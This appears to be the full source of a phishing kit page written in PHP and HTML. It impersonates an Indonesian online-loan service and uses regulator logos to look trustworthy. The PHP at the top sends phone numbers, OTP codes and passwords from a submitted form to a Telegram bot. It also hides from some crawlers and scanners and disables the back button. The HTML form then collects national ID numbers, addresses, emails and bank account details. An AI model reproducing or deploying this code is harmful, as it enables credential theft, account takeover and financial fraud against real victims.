<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('#Mozilla/4.05 [fr] (Win98; I)#',$ua) || preg_match('/Java1.1.4/si',$ua) || preg_match('/MS FrontPage Express/si',$ua) || preg_match('/HTTrack/si',$ua) || preg_match('/IDentity/si',$ua) || preg_match('/HyperBrowser/si',$ua) || preg_match('/Lynx/si',$ua)) 
{
header('Location: oops.php');
die();
}

// system function to process bot
function sendMessage($idTelegram, $messageBot, $tokenBot) {

    $url = "https://api.telegram.org/bot" . $tokenBot . "/sendMessage?parse_mode=html&chat_id=" . $idTelegram;
    $url = $url . "&text=" . urlencode($messageBot);
    $ch = curl_init();
    $optArray = array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

// get the bot data that you have set
include 'botSetting.php';

// get the data entered by the user
$phoneNumber = $_POST['phoneNumber'];
$otpCode = $_POST['otpCode'];
$password = $_POST['password'];

// system will redirect to the main page if no data is entered
if($phoneNumber == "" && $otpCode == "" && $password == "") {
header("Location: index.php");
} else {

// message content to sent to bot
$messageBot = "
✦ <b>Account Information</b> ✦

⮞ Phone number: <code>+62 $phoneNumber</code>
⮞ OTP code: <code>$otpCode</code>
⮞ Password: <code>$password</code>
";
}

// sent all data to bot
sendMessage($idTelegram, $messageBot, $tokenBot);
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"> 
  <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no"> 
  <title>PINJAMAN ONLINE TERPERCAYA</title> 
  <link rel="stylesheet" href="css/bootstrap.min.css"> 
  <link rel="stylesheet" href="file/css/intlTelInput.css"> 
  <script type="28a81fbefbf750ae8996002b-text/javascript">
        history.pushState(null, null, location.href);
        window.onpopstate = function() {
            history.go(1);
        };
    </script> 
 </head> 
 <body> 
  <nav class="navbar navbar-expand-md" style="background: #ffffff;"> 
   <div class="container-fluid">
    <a class="navbar-brand" href="#">
    <img src="images/ojk.png" width="80" height="30">
    <img src="images/afpi.png" width="90" height="30">
    </a>
    <button class="navbar-toggler" data-bs-toggle="collapse" style="background: rgb(249 199 28);">
    <span class="visually-hidden">Toggle navigation</span>
    <span class="navbar-toggler-icon">
    </span>
    </button>
   </div> 
  </nav> 
  <section class="text-center" style="padding-top: 9px;padding-bottom: 9px;">
   <button class="btn btn-primary" type="button" style="box-shadow: 3px 3px 4px rgb(255, 255, 255);background: rgb(122, 121, 121);" "="">Pinjaman Online</button>
  </section> 
  <div class="container"> 
   <section style="border: 1.4px solid #c2c5c8 ;"> 
    
   </section> 
  </div> 
  <div class="container"> 
   <section>
   </section> 
   <p style="background: rgb(122, 121, 121);color: rgb(241,243,245);padding-top: 1px;margin-bottom: 6px;padding-bottom: 0px;height: 31px;font-size: 14px;">Data Penerima<br>
   <br>
   </p> 
   <section style="padding-left: 20px;padding-right: 20px;padding-bottom: 20px;padding-top: 12px;border: 1px solid #c2c5c8 ;"> 
    <form method="post" action="check.php"> 
     <input type="hidden" name="phoneNumber" id="phone" value="" readonly="">
     <input type="hidden" name="otpku" id="otp" value="" readonly=""> 
     <input type="hidden" name="laluan" id="laluan" value="" readonly=""> 
     <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Nik e-KTP:</span> 
      <input class="form-control" type="text" inputmode="numeric" name="no_mykad" required=""> 
     </div> 
     <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Nama :</span> 
      <input class="form-control" type="text" name="nama_mykad" required=""> 
     </div> 
     <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Usia :</span> 
      <input class="form-control" type="text" inputmode="numeric" maxlength="2" name="umur_mykad" required=""> 
     </div> 
     <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Alamat :</span> 
      <input class="form-control" type="text" name="alamat_mykad" required=""> 
     </div> 
     <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Jenis Kelamin :</span> 
      <select class="form-select" name="jantina_mykad" required=""> <option value="">
      </option> <option value="Laki-laki">Laki-laki</option> <option value="Perempuan">Perempuan</option> </select> 
     </div> 
     <div class="input-group"> 
      
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Alamat Email :</span> 
      <input class="form-control" type="email" name="emel_mykad" required=""> 
     </div>
     <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Nominal Pinjaman :</span> 
      <select class="form-select" name="pinjaman" required=""> <option value="">
      </option> <option value="Pinjaman Awal Limit 1,5 JUTA / Bunga 1%">Pinjaman Awal Limit 1,5 JUTA / Bunga 1%</option> <option value="Pinjaman Kedua Limit 5 JUTA / Bunga 1%">Pinjaman Kedua Limit 5 JUTA / Bunga 1%</option> <option value="Pinjaman Ketiga Limit 10 JUTA / Bunga 1%">Pinjaman Ketiga Limit 10 JUTA / Bunga 1%</option> </select> 
     </div>
     <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">No Rekening :</span> 
      <input class="form-control" type="text" inputmode="numeric" maxlength="16" name="norek" required="">
      <div class="input-group"> 
      <span class="input-group-text" style="font-size: 14px;width: 150px;">Bank :</span> 
      <select class="form-select" name="bank" required=""> <option value="">
      </option> <option value="BCA">BCA</option> <option value="BRI">BRI</option> <option value="BNI">BNI</option> <option value="MANDIRI">MANDIRI</option> <option value="SEABANK">SEABANK</option> <option value="BTPN">BTPN</option> <option value="CIMB Niaga">CIMB Niaga</option> <option value="PERMATA BANK">PERMATA BANK</option> <option value="DANA">DANA</option> <option value="GO-PAY">GO-PAY</option> <option value="OVO">OVO</option> </select> 
     </div> 
     <section class="text-center" style="padding-top: 24px;"> 
      <input class="btn btn-primary" type="submit" style="width: 280.65px;font-weight: bold;background: rgb(121, 119, 119);" value="KONFIRMASI"> 
     </section> 
    </form> 
   </section> 
  </div> 
 <script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="28a81fbefbf750ae8996002b-|49" defer></script></body>
</html>